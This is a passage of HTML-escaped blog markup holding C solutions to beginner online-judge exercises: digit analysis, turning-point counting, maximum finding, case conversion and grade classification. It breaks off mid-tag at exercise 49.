href=\"https://xeonds.github.io/2021/09/29/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/XDOJ-archive/#44-%E6%95%B4%E6%95%B0%E5%88%86%E6%9E%90\" class=\"headerlink\" title=\"44.整数分析\"\u003e\u003c/a\u003e44.整数分析\u003c/h3\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e a, max, min, bit;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003escanf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\u0026#34;\u003c/span\u003e, \u0026amp;a);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e max = min = a % \u003cspan class=\"number\"\u003e10\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e bit = a == \u003cspan class=\"number\"\u003e0\u003c/span\u003e ? \u003cspan class=\"number\"\u003e1\u003c/span\u003e : \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e (a != \u003cspan class=\"number\"\u003e0\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e c = a % \u003cspan class=\"number\"\u003e10\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e max = max \u0026gt;= c ? max : c;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e min = min \u0026lt;= c ? min : c;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e a = (a -= a % \u003cspan class=\"number\"\u003e10\u003c/span\u003e) / \u003cspan class=\"number\"\u003e10\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e bit++;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d %d %d\\n\u0026#34;\u003c/span\u003e, bit, max, min);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"45-折点计数\"\u003e\u003ca href=\"https://xeonds.github.io/2021/09/29/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/XDOJ-archive/#45-%E6%8A%98%E7%82%B9%E8%AE%A1%E6%95%B0\" class=\"headerlink\" title=\"45.折点计数\"\u003e\u003c/a\u003e45.折点计数\u003c/h3\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e a, i, curr, prev, next, count;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003escanf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\u0026#34;\u003c/span\u003e, \u0026amp;a);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (i = \u003cspan class=\"number\"\u003e1\u003c/span\u003e, count = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; i \u0026lt; a - \u003cspan class=\"number\"\u003e1\u003c/span\u003e; i++)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (i == \u003cspan class=\"number\"\u003e1\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003escanf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d %d %d\u0026#34;\u003c/span\u003e, \u0026amp;prev, \u0026amp;curr, \u0026amp;next);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e ((curr - prev) * (next - curr) \u0026lt; \u003cspan class=\"number\"\u003e0\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e count++;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e prev = curr, curr = next;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e } \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003escanf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\u0026#34;\u003c/span\u003e, \u0026amp;next);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e ((curr - prev) * (next - curr) \u0026lt; \u003cspan class=\"number\"\u003e0\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e count++;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e prev = curr, curr = next;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\u0026#34;\u003c/span\u003e, count);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"46-寻找最大整数-分支结构\"\u003e\u003ca href=\"https://xeonds.github.io/2021/09/29/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/XDOJ-archive/#46-%E5%AF%BB%E6%89%BE%E6%9C%80%E5%A4%A7%E6%95%B4%E6%95%B0-%E5%88%86%E6%94%AF%E7%BB%93%E6%9E%84\" class=\"headerlink\" title=\"46.寻找最大整数_分支结构\"\u003e\u003c/a\u003e46.寻找最大整数_分支结构\u003c/h3\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e num, i;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (i = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; i \u0026lt; \u003cspan class=\"number\"\u003e4\u003c/span\u003e; i++)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (i == \u003cspan class=\"number\"\u003e1\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003escanf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\u0026#34;\u003c/span\u003e, \u0026amp;num);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003econtinue\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e } \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e curr;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003escanf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\u0026#34;\u003c/span\u003e, \u0026amp;curr);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e num = curr \u0026gt; num ? curr : num;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\u0026#34;\u003c/span\u003e, num);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"47-字符处理-分支结构\"\u003e\u003ca href=\"https://xeonds.github.io/2021/09/29/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/XDOJ-archive/#47-%E5%AD%97%E7%AC%A6%E5%A4%84%E7%90%86-%E5%88%86%E6%94%AF%E7%BB%93%E6%9E%84\" class=\"headerlink\" title=\"47.字符处理_分支结构\"\u003e\u003c/a\u003e47.字符处理_分支结构\u003c/h3\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e ch;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ch = getchar();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (ch \u0026gt;= \u003cspan class=\"number\"\u003e65\u003c/span\u003e \u0026amp;\u0026amp; ch \u0026lt;= \u003cspan class=\"number\"\u003e90\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eputchar\u003c/span\u003e(ch + \u003cspan class=\"number\"\u003e32\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (ch \u0026gt;= \u003cspan class=\"number\"\u003e97\u003c/span\u003e \u0026amp;\u0026amp; ch \u0026lt;= \u003cspan class=\"number\"\u003e122\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eputchar\u003c/span\u003e(ch - \u003cspan class=\"number\"\u003e32\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eputchar\u003c/span\u003e(ch);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"48-成绩分级1-分支结构\"\u003e\u003ca href=\"https://xeonds.github.io/2021/09/29/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/XDOJ-archive/#48-%E6%88%90%E7%BB%A9%E5%88%86%E7%BA%A71-%E5%88%86%E6%94%AF%E7%BB%93%E6%9E%84\" class=\"headerlink\" title=\"48.成绩分级1_分支结构\"\u003e\u003c/a\u003e48.成绩分级1_分支结构\u003c/h3\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e score;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003escanf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\u0026#34;\u003c/span\u003e, \u0026amp;score);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (score \u0026gt;= \u003cspan class=\"number\"\u003e90\u003c/span\u003e \u0026amp;\u0026amp; score \u0026lt;= \u003cspan class=\"number\"\u003e100\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eputchar\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#39;A\u0026#39;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (score \u0026gt;= \u003cspan class=\"number\"\u003e80\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eputchar\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#39;B\u0026#39;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (score \u0026gt;= \u003cspan class=\"number\"\u003e70\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eputchar\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#39;C\u0026#39;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (score \u0026gt;= \u003cspan class=\"number\"\u003e60\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eputchar\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#39;D\u0026#39;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (score \u0026gt;= \u003cspan class=\"number\"\u003e0\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eputchar\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#39;E\u0026#39;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"49-abc组合\"\u003e\u003ca href=\"https://xeonds.github.io/2021/09/29/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/XDOJ-archive/#49-abc%E7%BB%84%E5%90%88\" class=\"headerlink\" title=\"49.abc组合\"\u003e\u003c/a\u003e49.abc组合\u003c/h3\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan 